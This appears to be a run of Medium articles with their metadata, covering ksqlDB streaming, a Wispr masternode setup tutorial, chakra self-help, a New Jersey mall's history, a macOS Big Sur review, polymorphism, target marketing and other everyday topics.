In the Data Warehouse / OLAP world, it’s often beneficial to create denormalized tables to provide easy access to standard metrics and dimensions, simplify joins, etc. With Kafka we create derived topics to achieve similar ends. When your analytics are based around Kafka, it becomes convenient to have derived topics gathering standard user attributes or metrics from several topics into one to facilitate things like model-building, experimentation, and product research. Creating a new Kafka topic from a stream is as simple as filling out a parameter when creating the underlying stream itself.
Kubernetes and ksqlDB
Over the last few years, software firms have moved to containers as an efficient way to deploy apps for better parity between development, staging and production servers. Because of the way Kubernetes makes deploying and packaging those applications easy, it reigns as the most popular open source container orchestration platform.
At Pluralsight, we have set up our own Kubernetes cluster. Though spinning up our own cluster has its pros and cons, the liberty of customizing to our requirements makes it the preferred solution vs using the AWS managed service. In the cluster, each product team has a namespace to provision resources for itself. We use helm or kustomize to template and deploy applications to Kubernetes via a yaml manifest. The kustomize template for ksqlDB, for example, helps us to provide information about the memory requirements, kafka-cluster details and also, IAM role needed to access the sink s3 bucket in AWS.
In addition, the kubernetes Web UI provides detailed information necessary to check or update the config, services, and logs for different applications that are deployed by the team. This templating and UI monitoring makes it approachable to data scientists without a heavy engineering background. Once the ksqlDB cluster is provisioned with those tools, we can create our connectors, run our streaming queries, etc. In other words, Kubernetes lets our data scientists worry about the task at hand instead of resource provisioning.
Finally
For those of you who have been in the data world a while, practical streaming analytics has perpetually felt over the horizon. With tools like ksqlDB, data scientists writ-large will finally be able to leverage these techniques to improve the business. In the future, we’ll get into the weeds around specific ksqlDB projects as well as our work with Spark Streaming and Materialize.io — stay tuned! | https://medium.com/data-science-and-machine-learning-at-pluralsight/streaming-analytics-with-kafka-and-ksqldb-f0d7f56a8a | ['Levi Thatcher'] | 2020-12-10 16:52:32.738000+00:00 | ['Ksqldb', 'Data Engineering', 'Streaming Analytics', 'Kafka', 'Data Science'] |
Masternode Setup — Full Tutorial — WisprTech | Introduction
This tutorial will guide you through the process of setting up a masternode on the Wispr network. The masternode will run headless on a Ubuntu 16.04/18.04 64-bit server (VPS) and can be controlled via your computer.
In order to run a masternode, one must fulfill the following requirements:
125,000 WSP
A computer to control the wallet that will be installed on a VPS
A VPS, which acts as a masternode server
A unique IP for your VPS wallet
1. Setting up the control wallet
Note: the zWSP minter should be disabled during this setup! Before you unlock your wallet, you should disable auto-minting in the control wallet option menu. If you don’t do this, your masternode collateral will be autominted.
(You can also disable auto-minting by adding enablezeromint=0 into your wispr.conf file located in the wispr data directory)
Open your control wallet by going to Tools, Debug console and type the following command:
masternode genkey
This will be the masternode’s private key. Make sure you save this! Once again using your control wallet, save the address that will be generated by using the following command:
getaccountaddress <Choose any name for your masternode> Again in the control wallet, send 125,000 WSP to the address that was generated in the previous step.
Note: make 100% sure that you entered the correct address! One can verify this by pasting the address into the ‘’Pay to’’ field, the label will autofill the name you chose. Also make sure that you send exactly 125,000 WSP! Again, in the control wallet, enter the following command:
masternode outputs
This command obtains proof of the 125,000 WSP transaction. On your computer (which uses the control wallet), go into the data directory.
On Windows: Press the Windows key + R and type: %AppData%/Wispr
On Linux: ~/.wispr/
Find the masternode.conf file and add the following line to this file:
<Name of Masternode(Use the name you entered earlier for simplicity)> <Server's IP address>:17000 <The result of Step 1> <Result of Step 4> <The number after the long line in Step 4>
Below is an example:
WisprMN 104.152.89.237:17000
892WPpkqbr7sr6Si4fdsfssjjapuFzAXwETCrpPJubnrmU6aKzh c8f4965ea57a68d0e6dd384324dfd28cfbe0c801015b973e7331db8ce018716999 1
Replace the "<>" symbols with your own values.
2. Setting up the VPS wallet
Install the latest WSP wallet onto your masternode. Check out the latest releases here: https://github.com/WisprProject/core/releases
Go to your home directory: cd ~ From your home directory, download the latest release by using the following command (for Ubuntu):
wget https://github.com/WisprProject/core/releases/download/v0.3.0/wispr-0.3.0-x86_64-linux-gnu.tar.gz
If you are not using Ubuntu, please select the correct wallet here: https://github.com/WisprProject/core/releases Unzip and extract using this command:
tar -xf wispr-0.3.0-x86_64-linux-gnu.tar.gz Go to your Wispr bin directory with this command:
cd ~/wispr-0.3.0/bin If this is the first time that you run the wallet on your VPS, you have to try to start the wallet.
./wisprd -daemon will put the config files in your ~/.wispr data directory Type ./wispr-cli stop to exit the wallet to stop the wallet and proceed to the next chapter. On your VPS, go to the Wispr data directory here:
cd ~/.wispr Open the wispr.conf by using this command:
nano wispr.conf
Make sure the config looks exactly like the one below (except for the custom values):
rpcuser=<long random username>
rpcpassword=<longer random password>
rpcallowip=127.0.0.1
server=1
daemon=1
maxconnections=256
masternode=1
externalip=<masternode's ip address>
masternodeprivkey=<use the one that was generated in step 1>
Make sure to replace rpcuser and rpcpassword with your own! Also, remove the ‘’<>’’ symbols. To exit the editor press CTRL + O then press enter and then CTRL + X .
3. Starting your masternode
Start the things below in the following order:
1.1 Start the daemon client in the VPS. Go back to your wallet directory: cd ~/wispr-0.3.0/bin
1.2 Start the wallet with this command:
./wisprd
1.3 From the control wallet debug console:
startmasternode alias false <mymnalias>
Replace the <masternodealias> with the name of your masternode alias, without the brackets!
The following should appear:
“overall” : “Successfully started 1 masternodes, failed to start 0, total 1”,
“detail” : [
{
“alias” : “<mymnalias>”,
“result” : “successful”,
“error” : “”
}
1.4 In the VPS wallet, start your masternode:
./wispr-cli startmasternode local false
A message should appear saying: “masternode successfully started’’. Use the following command to check the status of your masternode:
./wispr-cli masternode status
It will return a message similar to this:
{
“txhash” : “ 977163ac3f3da1052c5fe631d9b24ba2c19d666fa2b354e0ed0787123ce9af3d”,
“outputidx” : 0,
“netaddr” : “188.166.87.72:17000”,
“addr” : “WfundQCUtX9zbGbScT5GKyjMPDfv6uQ9ZE”,
“status” : 4,
“message” : “Masternode successfully started”
}
This message means that your masternode has been successfully created. You may now remove ‘’enablezeromint=0'’ from your wispr.conf file of your control wallet.
Masternode shutdown
In order to stop running your masternode on your VPS and deleting your masternode from your Wispr core wallet, you have to do the following:
Use ./wispr-cli stop in your VPS wallet to stop the wallet. On your control wallet, edit your masternode.conf file and remove the MN1 masternode line entry. Restart your control wallet. Your 125.000 WSP will now be unlocked.
Support
If you have any problems with setting up your masternode feel free to join our Discord or Telegram server and ask for help. Our developers will help you fix the issue. | https://medium.com/wispr-blockchain-technology-revolutionizing/masternode-setup-full-tutorial-wisprtech-5e11b8289aeb | [] | 2018-10-19 23:01:19.228000+00:00 | ['Cryptocurrency', 'Masternode', 'Wispr', 'Proof Of Stake'] |
Soul Manifestation | Soul Manifestation is a program that claims to help you discover your real purpose in life. It lets you take control of your present and future. So that you can go towards your unique soul path. Moreover, it also reveals the things that are holding you back from getting what you truly deserve.Read More-https://bit.ly/2KioKEU | https://medium.com/@moremoneyearner/soul-manifestation-d29ab7301631 | ['Bibek Chaudhary'] | 2020-12-19 08:32:34.640000+00:00 | ['Soul Manifestation 2020', 'Soul Manifestation Review', 'Soul Music', 'Soul', 'Soul And Sea'] |
The Throat Chakra: We Struggle to Express Ourselves When This Chakra is blocked | A SIMPLE GUIDE TO THE ENERGY SYSTEMS
The Throat Chakra: We Struggle to Express Ourselves When This Chakra is blocked
How to unblock and strengthen the throat chakra
Blue is associated with purity and therefore connects with the concept of truth. (Photo: Peter Lomas on Pixabay)
What Is The Throat Chakra?
The throat chakra is the fifth chakra. It is associated with the color blue and located in the center of the neck. It relates to the air element through sound.
It is one of the uppermost chakras which are considered the most spiritual. It acts as the “bottleneck” serving as the passageway of energy into the “bottle” (the body.)
Energy from the universe enters through the upper three chakras (crown, third eye, and throat), moves through the middle chakras (heart, solar plexus, and sacral) pushing down dense energies in the body to exit through the root chakra.
The throat chakra is associated with the highest truth and connects the ethereal and spiritual realms to the physical and material world.
It powers our originality, our individuality, and our ability to freely and truthfully express ourselves. It is the energy that makes our voice unique and enables us to speak with wisdom and honesty.
The throat chakra is responsible for communication, listening, and the creative expression of our thoughts and ideas. It works closely with the sacral chakra to bring our creative ideas to life.
It controls the dialogue that takes place in our heads.
The throat chakra is associated with purity, thus connects with the concept of speaking our truths.
When The Throat Chakra is Blocked
Life experiences may cause us to hold on to emotions that get stuck in our energy system, blocking the flow of energy in and out. Until we heal the past and release these emotions that hold us back, life stays the same and things don't work out the way we want them to.
When things don’t work out the way we want them to, we become easily upset about the way they’ve turned out.
When we are upset, we often say we’re “choked up” or “lost for words” not knowing the right things to say.
Because of this, the throat chakra is seen as the seat of our emotions. When we feel an emotion, we express it. The throat chakra controls our ability to express those emotions.
A blocked throat chakra may make us feel powerless. We can’t express ourselves and our feelings effectively. When we do, we are often misinterpreted, and we feel misunderstood.
We become shy, insecure, or anxious around others which can lead to excessive fear of speaking. We fear we may say the wrong things, or get our thoughts mixed up.
We fear we will be judged, mocked, or ridiculed for the things we say so we may choose not to speak at all.
A blocked throat chakra can manifest as excessive secretiveness.
Because the throat chakra controls the voices in our heads, it’s easy to find our thoughts flooded with negativity when this chakra is out of alignment and so we may engage in negative self-talk and self-criticism.
The throat chakra can become overactive. An overactive throat chakra leads to too much talking and no listening!
We complain endlessly. It can lead to gossiping, talking too loud and aggressively, dominating group discussions, talking over others, and interrupting them.
When the throat chakra is overactive, we have no filter whatsoever. We blurt things out and say them without taking time to think about how our words affect others.
We become mean, critical, hurtful, and ruthless. We don’t need to be any of these things to speak our truths.
We are not able to keep our word and our promises; we tell big and small lies, and we lose our ability to keep the secrets that have been entrusted to us.
How to Strengthen The Throat Chakra
Like all chakras, a blocked or overactive throat chakra can be healed, unblocked, and balanced.
A balanced throat chakra frees us from the fear of judgment or the need for approval and validation from others.
To strengthen the throat chakra, we must speak our truths no matter what. We must learn to express ourselves through our highest “selves.”
We must know when to speak and when to listen! A person with a well-balanced throat chakra pauses to think and reflect on what they say before they say it.
We must learn to give ourselves a few moments before speaking or responding. This isn't easy, but with practice, it can be done.
Meditate by focusing on a blue, vibrant color and visualize this energy spinning healthily in your throat. Let that guide you whenever you are working on healing the throat chakra.
Practice mindful self-expression by journaling. Write down important things you’d like to express to others before it’s time to express them. Or you can try saying them out loud in the mirror.
If there was a situation where you failed to get your point across clearly and you carry the guilt, write all you wish you'd said in that situation, read it out loud, and then get rid of it along with the guilt.
Words are spells so use affirmations. Affirmations are a work of intention and a powerful way to push your throat chakra into alignment. It all lies in the thoughts you put behind your intention.
Sing loudly and feel your vocal chord vibrate with energy. Singing is a powerful way to get the energy flowing through you. Turn on your favorite music and sing it out loud in the shower, in the car, or whenever you feel like it!
Humming, chanting, and reading also work in strengthening the throat chakra.
Talk openly and truthfully with close friends and family. The heart chakra lies right underneath the throat chakra, so channeling the heart’s energy and speaking in a heartfelt way is an excellent way to strengthen and balance the throat chakra.
Drink pure water. Water cleanses all things so drink lots of water to cleanse the throat.
Not only does water help keep you hydrated and keeps headaches at bay, but it allows healthy energy to flow up and down your energy system.
Let go of the past. If you were judged, mocked, or made fun of in the past for expressing yourself, forgive, and let it go.
If you couldn’t say everything you needed to say in an important conversation and you regret what wasn’t said, let those go too.
Letting go is difficult, but holding on to things that hurt you in the past only leads to resentment, guilt, and anger — all of which contribute to an imbalance in the energy system | https://medium.com/spiritual-secrets/the-throat-chakra-we-struggle-to-express-ourselves-when-this-chakra-is-blocked-6e8d5a39f84e | ['Kimberly Fosu'] | 2020-12-21 19:47:26.485000+00:00 | ['Spirituality', 'Energy', 'Creativity', 'Ideas', 'Inspiration'] |
South Jersey Mall History: Cumberland Mall | this story was last updated in June 2021.
Exterior of former Burlington store in 2018 (photo by Peter Planamente)
Fast Facts
Opened in 1973
Located in Vineland, New Jersey (Cumberland County)
Developer: Rubin Organization
Owner: Pennsylvania Real Estate Investment Trust
Number of Floors: 1
Website
Anchors
Bradlees
1973 — circa 2001
Gaudio’s
1973 — ?
Wilmington Dry Goods
1973–1989
JCPenney (former Gaudio’s)
? — 2015
Value City (former Wilmington Dry Goods)
1989 — 2008
Boscov’s
1997 — present
Marshall’s (former Bradlees)
circa 2001/2002 — present
Burlington (former Value City)
2009–2021
Dick’s Sporting Goods (former JCPenney)
2016 — present
Power Warehouse (former Burlington)
2021-present
Sitting off Route 47 in Vineland, NJ is a quiet little mall that has been through a lot.
Cumberland Mall opened in October of 1973 and was developed by The Rubin Organization. The three original anchors were Bradlees, Guadios and Wilmington Dry Foods. A Pathmark (supermarket) was located outside next to Wilmington Dry Foods.
The mall was a popular local spot for people living in and around Cumberland County and the most southern portion of South Jersey. Cumberland never had to deal with much competition since the closest malls were over 25 miles away.
The 1980s
Through the 1980s, a few changes happened. Wilmington Dry Foods went out of business and became Value City, Guadio’s closed and became JCPenney and the Pathmark outside became Toys R Us.
The 1990s
The owners also planned to add an additional 100,000 square feet to the mall, but the funding fell through. Even with the addition of the replacement anchors and new stores, the mall began declining in the 1990s and occupancy fell.
Boscov’s mall entrance (photo by Peter Planamente)
In 1997, the mall owners put in a new revitalization plan. Boscov’s opened as the fourth anchor, the roof and flooring were replaced, along with new lightning and indoor trees and plants.
The 2000s
The mall expanded with more parking and additional retail space. Home Depot, Regal Cinema, Best Buy and BJ’s were added in the surrounding area of the mall.
After the new millennium began, Cumberland Mall saw additional closures. Bradless filed for bankruptcy and closed. The building was divided into three separate stores, Marshalls (connected to the mall), Michael’s, and Bed, Bath & Beyond (closed in 2018).
In 2008, Value City went out of business and was replaced by Burlington Coat Factory in 2009.
The 2010s
In 2015, JCPenney closed and was replaced by Dick’s Sporting Goods.
In 2018, Toys R Us liquidated and closed. A portion of the building is now used by Petco.
The 2020s
As of 2020, the mall continues to operate with about 89% occupancy.
PREIT, current owner of the mall, pays over $2 million annually in taxes and makes only $389 in sales per square foot. It is one of the weakest malls in the PREIT portfolio, ranking 16 out of 18.
In late 2020, Littman Jewelers decided to close their store after 22 years of business in the mall.
Marshall’s wing of the Cumberland Mall — 2018 (photo by Peter Planamente)
In early 2021, Burlington [Coat Factory], who has been operating at the mall since 2009, went out of business. This spot was formerly occupied by Value City. Next door, the former Toys R Us also remains vacant.
In May 2021, HomeGoods announced it would be opening a new store in the former Bed, Bath & Beyond on the outside of the mall between Starbucks and Michael’s.
Also announced in May, a fulfillment center will take over the former Burlington space.
— — —
Thank you for reading this story!
For other mall stories, please visit my Medium page
Want me to cover something? Contact me at [email protected] | https://medium.com/@plana-journ/south-jersey-mall-history-cumberland-mall-d1e990ac27ff | ['Peter Planamente'] | 2021-06-27 11:38:40.464000+00:00 | ['South Jersey', 'Vineland', 'Cumberland Mall', 'Mall', 'New Jersey'] |
Distance Learning: How TextNow Is Helping Teachers Stay Connected (Pt 2) | In this unprecedented time, educators across the country are asking themselves two major questions:
How do I ensure that virtual learning is equitable? How do I communicate effectively with students and families at this time?
Typically, giving out your personal phone number is considered a big no-no in my field as it is viewed as unprofessional and inappropriate. Except, during the COVID-19 pandemic, teachers are being asked — or, as in my case, required — to forget this rule. This new mandate made by my district led me to the TextNow app. Within seconds, my cell phone became a personal device and a professional one while still allowing me to maintain separation between these two parts of my quarantine life.
All I had to do was download the app and choose a number. With my new work number available, I began sharing it with my students via Google Classroom and their Gmail. That very day, multiple students reached out to me by phone call and text message seeking help with their virtual assignments. Additionally, I began making phone calls to the families of students who have not yet been online to do their virtual learning assignments. This was the greatest advantage of all. “Hello. This is Mrs. Malsbury from Passage Middle School. I wanted to reach out to see if there is anything your family needs right now.” Who would have thought that such a simple phrase would lead to huge sighs of relief, tears, and such an outpouring of appreciation?
I had multiple families share that they were in need of a laptop, internet access, and information about our meals-to-go program. Some days it is hard to feel like we are still making a difference, but every parent that I connected to the information and support they needed reminded me of that feeling we all have had in the classroom — and the one we are all desperate to feel again –when we are able to help a child finally understand a concept they have been struggling to grasp. This has led me to work towards providing a more equitable experience for my students and develop a strong line of communication for the remainder of the school year.
The silver lining to this whole experience of virtual learning is that I have discovered so many amazing digital tools that are not only valuable during this pandemic but going forward into the rest of my teaching career. Thanks TextNow, for allowing me to continue to be here for my students and their families. | https://medium.com/textnow/distance-learning-how-textnow-is-helping-teachers-stay-connected-pt-2-e59667e8c4de | ['Valeria K'] | 2020-04-23 15:37:07.559000+00:00 | ['Second Phone Number', 'Online Learning', 'Teachers', 'Distance Learning'] |
macOS Big Sur Review: Big Redesign with Big Performance Bummer? | macOS Big Sur Review: Big Redesign with Big Performance Bummer?
With big design changes introduced in macOS Big Sur, it feels like Mac started to become like an iPad. But does it perform great just like on the iPad? Christopher Reno Budiman Follow Dec 19, 2020 · 5 min read
macOS Big Sur is the biggest Mac software update since the introduction of OS X. The macOS Big Sur finally turned to macOS 11 after series of macOS 10 updates. I had been using macOS Big Sur for almost a month now on my 2020 base model MacBook Pro with 16 GB RAM (not the M1, the 8th gen Intel version). How do I feel about it? Let’s find out.
Design
With the new icon and design changes, macOS Big Sur looks more familiar than ever. Yes, because it introduces iOS design language that looks Mac more like an iPad, rather than a Mac.
Big Sur Control Centre that looks like iPad Home Screen. Captured by the Author
I am personally a big fan of this new design changes. It looks more familiar and uniforms with my other Apple devices. I don’t have to get confused looking at the Messages icon, since now it’s also a green icon with white bubble, unlike Catalina’s version that has blue bubble which doesn’t look consistent to other Apple devices.
Not many people are a fan of Skeumorphic icon design, but I loved it. Since iOS 6, I always love that traditional Skeumorphic Steve Jobs design, which looks great. With Big Sur, I love the way the combined these iOS 6 and iOS 7 icons to look more modern, yet still has that traditional feel to it.
Other than that, the system-wide design was pretty good. Finder, Mail, Notes and Photos look fresher than before. It is something that makes my Mac feel new again, although I had it six months ago. The addition of new wallpapers is fantastic, with more dynamic wallpapers available
Control Centre
iPad like Control Centre. Captured by the Author
The iOS influenced update also reflects on its new feature, control centre. Yes, it is useful, but I found it a little bit useless. With my 2020 MacBook Pro, I often use the Touch Bar to control volume, display and keyboard brightness, also playback button. It is way more convenient since I don’t have to reach with my mouse to change these settings. Moreover, I don’t have to go to this control centre to change the Wifi or Bluetooth settings, since it’s already present in the top bar, without even going to the control centre. It is a useful feature for iOS and watchOS with a smaller screen, but I don’t see the point why they add this to the Mac.
Notification Centre
Not just the control centre, Apple added a redesign notification centre, with the new widgets alike iOS. And now notification is grouped based on category, so it doesn’t clutter the whole side. A welcoming addition to the Mac.
Photo by Apple on Newsroom
However, the one thing that really bothers me is with the new notification centre, they got rid of the calculator widget, which I found very useful in Catalina. I was annoyed that I can’t no longer access to my calculator from the widgets, which I have to go the app itself to access the calculator. Hopefully, Apple will bring back calculator widgets in the future update of Big Sur.
Safari
My default browser is still Chrome, but I occasionally use Safari (when I’m watching Netflix because it’s more power-efficient than Chrome). Apple made changes with Safari in terms of privacy, with privacy tracking report that convenience users that Safari is safer than other browsers. Still, it doesn’t convenience me to change my default browser, because Chrome is still faster. I also notice that my Safari crashes sometimes when I’m loading streaming, apart from YouTube. It looks like some website has not yet optimised properly with Safari.
Photo by Apple on Newsroom
Safari also introduces direct website translation, which is pretty useful for some people. Personally, I haven’t tried this feature since I visited most English website.
Apple Maps
I don’t use Apple Maps, unfortunately. But it’s great that Apple made a big step to compete with Google Maps, although I still prefer Google Maps.
Performance and Battery
On a day to day use case, my MacBook Pro can run normally without any issue for writing, browsing and checking emails. Heavy apps such as Garage Band, iMovie or Djay Pro that has been optimised for Big Sur can run flawlessly. However, using most apps that have not been fully optimised with Big Sur, it may heat up quickly, such as using Discord or Zoom Calls. I understand that this is still the first release of Big Sur, we expect Apple to update its performance for the next few weeks or months. There are still many bugs and glitches that need to be resolved, therefore performance was worst than the latest version of Catalina. Geekbench 5 scores were relatively similar with Catalina, with 922 single-core scores and 3240 multi-core scores on my 2020 base-model MacBook Pro.
Geekbench 5 scores on 2020 8th-gen Intel MacBook Pro with 16 GB RAM. Captured by the Author.
Battery performance was worst than Catalina, especially apps that takes more energy and RAM, such as Chrome. Again, definitely, Apple will improve battery life for the upcoming updates. Speaking about battery, I love the new feature for optimised charging to prolong battery life. This feature will be better optimised for the M1 Macs that have better power management compare to Intel Macs. | https://medium.com/macoclock/macos-big-sur-review-big-redesign-with-big-performance-bummer-13c7995089f4 | ['Christopher Reno Budiman'] | 2020-12-19 07:26:20.278000+00:00 | ['Gadgets', 'Software', 'Mac', 'Apple', 'Technology'] |
Everything You Need to Know About Polymorphism | What Is Polymorphism?
Polymorphism describes something that takes many forms. In computer science, this refers to functions and objects having multiple forms.
Functional polymorphism
Functional polymorphism is implemented using overloading. Overloading allows functions to share the same name whilst passing in different types and/or a different number of arguments. A single function that has multiple forms.
For example, consider a function that sums two numbers. We could have a sum function that takes in two integers and returns an int, and another sum function that accepts two floats as arguments, returning a float. When we call sum passing in two numbers, the compiler will work out which method actually needs to be called based on the parameters we have passed. In either case, we can obtain different behaviour when calling methods that share the same name depending on the parameters we pass.
Object polymorphism
Polymorphism regarding objects is slightly different. This is where inheritance comes into play. For any object with a base class, say our JetpackSoldier class, whose base class is Soldier , we can instead treat it as if it was a Soldier . Any code that handles anything to do with the Soldier objects can also work with JetpackSoldier objects as well. The benefits are best shown with an example:
If we assume we have vehicles in our game and we have a class Jeep , we would like to store a reference in this class to the soldiers driving around in this vehicle. Let’s say that our jeep stores a maximum of four people; how would we do this in code? Polymorphism handles this easily.
A simple way of handling this problem is to have a reference to Soldier for each seat in the jeep, two in front, two in back. Because polymorphism enables us to treat objects as other objects, JetpackSoldier as Soldier , we can add both JetpackSoldier and Soldier objects to the Jeep class. If we add more soldiers to our game, as long as they inherit from Soldier , they too can be added to the jeep class.
Sticking with the same example as before, if we want to store different soldier types, we’d have to add additional member variables and methods to support this. We also need more checks before we can put a soldier in the jeep. | https://medium.com/better-programming/everything-you-need-to-know-about-polymorphism-7a7976ca8987 | ['Drew Campbell'] | 2020-01-04 10:47:19.703000+00:00 | ['Game Development', 'Software Development', 'Software Engineering', 'Programming', 'Coding'] |
Target Marketing: Focusing on your Most Profitable Customers | What Is Targeting?
Targeting focuses all marketing efforts on the defined group or groups of people MOST LIKELY to become profitable customers. These groups of customers will have common characteristics and interests and could be based on existing customers, as there is likely to be similar people who you will also benefit.
The targeted customers might also be groups of people who overlooked by the competition. If they are profitable, this then presents an opportunity for that business.
The benefits of targeting
With targeting, marketing becomes more affordable, efficient and effective at generating customer leads. Saving money on marketing and a better return on investment are the most obvious benefits of targeted marketing — especially for small businesses with frugal marketing budgets.
Targeted marketing is far more cost-effective than mass marketing as firms are not wasting time and money marketing to people who will never be a customer.
Instead, the target audience is specific consumers who are most likely to become customers.
“Firms can obtain significant benefits by targeting their promotions.” (Narayanan & Manchanda, 2009)
If we understand who our most profitable customers are, we will know which customers are not profitable, and we can also overlook them with our marketing which is important with paid advertising (why waste your money!?)
Targeting should begin with the customers and the marketplace. Therefore, it creates a strategic focus as the firm must take a realistic and well thought out approach to their product or service offering, their marketing and their customers. This integrated approach ensures everything is a good fit.
If you are not targeting specific groups of customers with your communication, the message can become blurred. The broader the targeted market is, the broader their preferences, needs and desires are. The more focused your message is, the more receptive the target audience will be.
What is a Target Market?
Identifying their target market/s is a crucial step for any firm when developing their strategic marketing plan.
A target market is the group/s of customers that a business focuses their marketing efforts on. The people they want as their customers. It is a segment of the total market for a good or service. The consumers who make up a target market share similar characteristics, defined by demographics such as gender, location and age as well as criteria based on their consumer behaviour.
“A target market is, at its most basic, simply the market or submarket (such as a segment) at which the firm aims its marketing message(s).” (Cahill, 1997)
This target market determines other key factors for a product or service such as distribution and pricing, or it can influence aspects of the product or service itself.
After identifying what group/s of customers you wish to target, you must learn their values and consumption habits. This will help you strategize how to communicate with them effectively and ensure your offering best fits their requirements. If something is not right, firms can modify aspects of the product or service itself, or its marketing such as the packaging, pricing or even the brand name to help facilitate a more successful result with their target market.
Target marketing sits alongside the positioning strategy. Positioning creates an image of a brand’s product or service in the mind of a target customer. It defines how the brand’s offering is unique and how it provides a distinct benefit to customers. Marketing communicates a brand’s positioning to consumers to influence their perception.
Your positioning must be attractive and credible to the people who require your product and are most likely to purchase it.
“This identification of target customer groups is market segmentation, where customers are aggregated into groups with similar requirements and buying characteristics.” (Dibb & Simkin, 1991)
An orange segment — think of your target market like this
Segmentation: defining your target market
The strategy of using targeted marketing to reach specific groups or clusters of customers is market segmentation. A firm can choose one or even numerous segmented groups as their target market, divided up based on their characteristics, based on their unique marketplace. As customers have unique buying patterns to try and understand, this process helps to match customer demands with a firm’s ability to satisfy them.
Firms can follow a range of different segmentation strategies such as concentrating on a single segment with one product or brand, concentrating on numerous segments with one brand or having many brands or products each targeting a unique segment.
Market segments are specific and objective, comprised of people with similar characteristics that are likely to respond similarly to a marketing campaign. This helps businesses to optimise their branding, advertising and sales.
For example, a Gym might choose to market to fitness-minded people between the ages of 15 and 40 in Hamilton, New Zealand. To make this segment even more defined, they might choose to market to people with strength and performance-based goals, attend the local university, and use a lot of social media.
The gym could further break down this market into further niches, such as performance-based goals for sport, or powerlifting or CrossFit, or bodybuilding.
Indian International Students as a market segment
Target market characteristics
The process of dividing a target market into segments uses three key categorisation techniques. They are demographics, psychographics and behavioural.
Demographics: Demographic segmentation aims to build an accurate picture of who the target market “is” by using statistical characteristics of human populations to identify these people. These include:
· Age
· Location
· Gender
· Occupation
· Ethnic background
Psychographics: Psychographics segmentation looks at consumers as people (not customers), seeking to better understand the personal characteristics on a human level. This includes their lifestyle, key values and activities. These include:
· Personality
· Opinions, attitudes, and beliefs
· Values
· Interests/hobbies
· Lifestyles
Behavioural: Behavioural segmentation defines people based on their actions and thoughts as a consumer. This helps marketers to further define who they want to attract and who they do not want to attract. These include:
· Purchase Behaviour
· Customer Loyalty
· Occasion or timing
· Benefits sought
· Usage
Understanding the consumer behaviour of your target market
Brands need to understand what their target consumers believe are the most important components of a product or service when they decide to purchase. How will they use the product? What product features are most appealing to them? Market research is a crucial step to get your positioning in the market right.
Before releasing a new product, it is beneficial to test it with the target market. Using focus groups are a fantastic way to test perceptions and the performance of your offering with the types of people you want to purchase it. This constructive feedback will allow you to make improvements before it comes to the market. Analyse industry or talk to existing customers about what they want from a product. This will all help answer important questions you may have about your marketplace or target customers.
After the product is on the market, it is beneficial to monitor sales data or use customer surveys and other actions that help monitor performance and better understand customers and what they want. Measuring customer satisfaction allows brands to continuously improve their offering.
“Each target market needs to be addressed in different ways in order for a marketing campaign to be effective.” (Geraghty & Conway, 2016)
Communicating with your target market
It is important to market to your target market precisely, otherwise, you waste precious time and money. Targeted advertising helps improve the efficiency of matching brands with customers. To reach a target audience, marketers must consider how and where to communicate to reach these people and have them listen. Do they read the local paper every day? Are they browsing Facebook? They might watch a lot of television. Once you have chosen where to advertise, what marketing message will best resonate with them? Marketing must match customers preferences and behaviours. You will only learn this through trial and error or market research.
Traditional marketing communications include television, radio or film advertising or product placements, sponsorship of events or live sport, billboards, point of purchase placement, print advertising such as flyers, business cards or newspaper and magazine adverts. Studies have indicated that magazines have the longest life span of any traditional form of marketing (See Blakeman, 2014). People can share magazines around with their friends, or they are often left by businesses for customers to browse whilst they wait, such as in the waiting room at the Doctors, at cafés or the local fish and chips shop, and can be left for months or even years on end.
In-person events are the most successful form of lead generation for B2B businesses (See Tomas, 2015), making networking events, conferences or expos popular with salespeople. It is much easier to convert face-to-face than it is with any other marketing technique, it is just very time consuming and you do not have a massive potential audience as you do online. The important thing to consider is, will your communication method reach your target audience.
Advances in digital marketing
Innovations in technology and software over the past quarter of a century has made it possible for any business to collect valuable data about customers and potential customers. Digital marketing provides many targeted marketing tools such as email marketing, blogging and search engine marketing or optimisation and gives marketers a much higher capacity for in-depth analysis of consumer behaviour than was possible through traditional means of marketing. The growth and popularity of social media have helped businesses to create highly customised and personalised targeted advertising based on the behaviours we learn from peoples’ habits online.
“Online targeting consumers has been a great advantage to marketers as they can now see not only what a person is viewing but for how long, where and why” (Geraghty & Conway, 2016)
Social media is a powerful tool for targeted marketing
Facebook for targeted advertising
Facebook is hugely popular for creating targeted advertising. A big strength of Facebook is the enormous audience (1.79 billion daily users) and the ability to create hyper-targeted advertising based on a vast number of attributes. There are more than 240,000 attributes that marketers can combine to target highly specific groups of people based on combinations of attributes. Facebook even allows you to exclude people based on certain characteristics, which makes your advertising even more targeted.
Because of this potential, there are over 7 million people or business advertising on Facebook. Facebook provides four major techniques for targeting and users can use a combination of these methods. They are Personally Identifiable Information, Attribute targeting, Look-alike audience and retargeting.
· Personally Identifiable Information targeting is when the users provide a database of people with personal information such as name, email address and phone number. Facebook will then place adverts in front of these people browsing the platform. Create custom audiences based on characteristics such as liking their Facebook page, downloaded an app or visited their website.
· Attribute targeting allows advertisers to target people based on a wide range of elements that include user basic demographics such as age and gender, advanced demographics such as newly married, interests such as a basketball or videogames and behaviours such people who have recently purchased online. Combining more attributes makes the audience more specific for an advert. Interests can be predefined and chosen from a dropdown menu, or a relevant topic typed in and the user can browse related attributes.
· Look-alike audiences are another option the Facebook offers to help put your advertising in front of the right people. Users input a database of people, use a previous audience or this audience can be based on people who “like” their Facebook page. The Facebook algorithm then targets other people who share similar characteristics
“By compiling demographic data, purchasing history, and responses to past advertising messages, digital marketers can create and refine advertising messages tuned precisely to the psychographic and behavioural patterns of the individual.” (Montgomery & Chester, 2009)
· Retargeting focuses on people who have already interacted with the business. Many customers need numerous interactions with a brand before they decide to purchase, so it is important to stay in front of and relevant to these people. People who have visited your website can be targeting through using a tracking pixel, or businesses can target other behaviours such as people who have watched previous videos or “liked” previous advertisements. Facebook is a powerful tool for retargeting. | https://medium.com/swlh/targeting-how-to-make-marketing-more-efficient-and-effective-c70fbbf1210d | ['Daniel Hopper'] | 2020-09-03 07:01:49.980000+00:00 | ['Marketing', 'Startup', 'Digital Marketing', 'Marketing Strategies', 'Business'] |
In 1906, an Art Collector Found a Bible With a ‘New’ Scene of Jesus | Bible scholars wouldn’t know their benefactor was a syphilitic homosexual
But Freer was outrageous in many ways. He had little formal education. He knew nothing of early Christianity, the Greek language, or ancient manuscripts. Only from his extraordinary taste had he sensed there was something special about one book in a pile of books.
Examining it, unable to read the words, he saw they were ‘beautiful’.
